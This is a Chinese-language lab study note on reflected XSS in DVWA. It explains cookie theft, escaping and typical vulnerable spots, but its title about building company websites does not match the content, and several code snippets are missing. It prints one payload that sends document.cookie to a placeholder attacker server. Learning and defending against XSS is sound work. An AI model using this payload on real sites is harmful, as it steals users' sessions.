企业官网建设流程全解析

学习笔记 · 2026-10-06 · 靶场：Metasploitable2 + DVWA v1.0.7（VMware 仅主机网络）

一、先说清楚：什么是 Cookie，为什么它值钱

Cookie 对每个账号登录是非常重要的。登录成功后，服务器会给你的浏览器发一张"通行证"——PHPSESSID。之后你每次访问这个网站，浏览器都会自动把它带上，服务器据此认出"这是刚才登录的那个人"。
所以攻击者真正想要的目标从来不是密码，而是这张能代替密码的凭证。因为密码需要用户配合输入，Cookie 只需要一次偷到手，之后就是"拿着你的钥匙进你家"。

二、XSS 是什么原理

我自己的理解是：把 URL 里的参数改成能被 HTML 识别的标签，服务器接收后原样搬运回页面，浏览器就把它当成网站自己的代码执行。
这里面要理解两层：
第一层，服务器为什么会"原样搬运"？ 因为它犯了一个错——把用户输入直接拼进 HTML。DVWA low 级的源码就是一行：

$_GET[‘name’] 是用户的输入，它前面没有任何过滤。想在页面上显示什么，就直接塞进去了。
第二层，浏览器为什么会执行它？ 这里有个关键认知，是我这次学得最透的一点：
服务器从头到尾没有执行任何代码，它只是个搬运工。真正执行代码的，是受害者的浏览器。

三、实战记录

实验一：证明漏洞存在
在 XSS (Reflected) 页面输入：

页面弹出对话框 “192.168.136.128 说：1”。
这一步只是 PoC（漏洞存在证明），它不造成任何实际危害。
实验二：证明真实危害
把 payload 换成：

弹窗内容：

这个 PHPSESSID 就是我自己的会话凭证，被 JS 明文读了出来。 如果这段代码不是弹窗显示，而是发到攻击者自己的服务器（<img src=“http://攻击者服务器/?c=”+document.cookie>）
那攻击者就拿到了我的登录态——他不用知道我的密码，直接拿着这串 ID 就能以我的身份登录。
实验三：转义与判定
当我把同样的 提交到做了转义处理的页面时，页面上原样显示了这行文字，没有弹窗。原因是服务器把 < > 转成了 < >——代码还是那串代码，但它已经失去了"标签"的身份，变成了普通文字。
这让我总结出 XSS 成立的三个必要条件：

1. 用户输入被拼进 HTML
2. 输出时没有做转义
3. 有用户访问了这个构造好的 URL
   第 3 条是反射型特有的约束——它需要骗人点击。这也是它通常被定为中危，而存储型（写进数据库、每个访客自动中招）定为高危的原因。
   四、这种漏洞一般出现在哪
   规律很清晰：只要"用户输入会被服务器抄回页面"的地方，都可能中招。

• 搜索框：搜不到时页面显示"没有找到 XXX"，XXX 没过滤就是漏洞
• 错误提示回显：把 URL 参数原样放进提示信息里
• 留言板、评论区、个人昵称/签名（存储型，危害最大）
• HTTP 头回显：后台把 User-Agent / Referer 记进"访问日志"页面

五、复盘

这次学习让我纠正了自己两个想当然的认知：

1. 我一直以为"服务器返回了用户数据"——其实服务器是被利用的搬运工，数据是被 JS 主动"偷"走的，不是"返回"给谁。
2. 我以为漏洞就是"改改 URL 参数"——其实难点不在 payload，在传播：要构造一个 URL 并让受害者点击，反射型 XSS 是社交工程 + 技术手段的组合。
   这正好也提醒我：学漏洞不能只学"怎么打"，还要知道成因在哪、怎么修、真实场景里长什么样。只有能写出修复建议，报告才算完整。
   【以上是个人观点，仅供参考】